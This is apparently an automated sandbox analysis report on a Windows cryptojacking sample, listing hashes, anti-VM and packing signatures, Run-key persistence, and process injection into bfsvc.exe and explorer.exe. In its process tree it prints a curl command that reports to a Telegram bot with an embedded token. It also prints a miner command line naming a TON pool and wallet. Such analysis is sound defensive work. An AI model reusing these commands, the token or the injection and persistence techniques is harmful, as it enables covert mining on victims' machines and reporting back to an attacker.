Analysis
-
max time kernel
4264954s -
max time network
9s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
17-01-2022 15:54
Static task
static1
Behavioral task
behavioral1
Sample
acabd1f99b9e449d951dea975e1f1ad5.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
acabd1f99b9e449d951dea975e1f1ad5.exe
Resource
win10v2004-en-20220113
General
-
Target
acabd1f99b9e449d951dea975e1f1ad5.exe
-
Size
1.0MB
-
MD5
acabd1f99b9e449d951dea975e1f1ad5
-
SHA1
ef545ca153737d6246be2cd3de1b26fb92241327
-
SHA256
63e38dc331cd8b202d9109dd5b0e08162673c0661344a06252811d066548c31b
-
SHA512
e92d6a0f11d2d96267682eed231e8f5580e32df705bc6c0eeb0b6f7fbbe7c56c67267c8e1994c55bb724343e904137808e1fc9636750d2730aa42b3bf217abd1
Malware Config
Signatures
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Processes:
resource yara_rule behavioral2/memory/2560-135-0x0000000140000000-0x000000014274C000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
acabd1f99b9e449d951dea975e1f1ad5.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion acabd1f99b9e449d951dea975e1f1ad5.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion acabd1f99b9e449d951dea975e1f1ad5.exe -
Processes:
resource yara_rule behavioral2/memory/2476-131-0x00007FF74CB90000-0x00007FF74CF5C000-memory.dmp themida behavioral2/memory/2476-132-0x00007FF74CB90000-0x00007FF74CF5C000-memory.dmp themida behavioral2/memory/2476-133-0x00007FF74CB90000-0x00007FF74CF5C000-memory.dmp themida -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
acabd1f99b9e449d951dea975e1f1ad5.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe" acabd1f99b9e449d951dea975e1f1ad5.exe -
Processes:
acabd1f99b9e449d951dea975e1f1ad5.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA acabd1f99b9e449d951dea975e1f1ad5.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
acabd1f99b9e449d951dea975e1f1ad5.exedescription pid process target process PID 2476 set thread context of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 set thread context of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
acabd1f99b9e449d951dea975e1f1ad5.exedescription pid process target process PID 2476 wrote to memory of 3692 2476 acabd1f99b9e449d951dea975e1f1ad5.exe curl.exe PID 2476 wrote to memory of 3692 2476 acabd1f99b9e449d951dea975e1f1ad5.exe curl.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 2560 2476 acabd1f99b9e449d951dea975e1f1ad5.exe bfsvc.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe PID 2476 wrote to memory of 4088 2476 acabd1f99b9e449d951dea975e1f1ad5.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\acabd1f99b9e449d951dea975e1f1ad5.exe"C:\Users\Admin\AppData\Local\Temp\acabd1f99b9e449d951dea975e1f1ad5.exe"1⤵
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\curl.execurl "https://api.telegram.org/bot5085421438:AAHmPt5uQhWzP79_WEIMYB3Sq6kZ9Hu2cNo/sendMessage?chat_id=-1001672031538&text=%F0%9F%99%88 New worker!%0AGPU: Microsoft Basic Display Adapter%0AWorker Tag: None%0A(Windows Defender has been turned off)"2⤵
-
C:\Windows\bfsvc.exeC:\Windows\bfsvc.exe -a TON --pool https://server1.whalestonpool.com --user EQBUrKc4jK39eXKGOmJfeEZjVLiZ9aSuxI-G7GPl6_9e9Bwj2⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe "None" "Microsoft%20Basic%20Display%20Adapter" "None" "ton"2⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2476-131-0x00007FF74CB90000-0x00007FF74CF5C000-memory.dmpFilesize
3.8MB
-
memory/2476-132-0x00007FF74CB90000-0x00007FF74CF5C000-memory.dmpFilesize
3.8MB
-
memory/2476-133-0x00007FF74CB90000-0x00007FF74CF5C000-memory.dmpFilesize
3.8MB
-
memory/2560-136-0x00000001427491D0-mapping.dmp
-
memory/2560-135-0x0000000140000000-0x000000014274C000-memory.dmpFilesize
39.3MB
-
memory/3692-134-0x0000000000000000-mapping.dmp
-
memory/4088-137-0x0000000140000000-0x000000014002A000-memory.dmpFilesize
168KB
-
memory/4088-138-0x0000000140001E00-mapping.dmp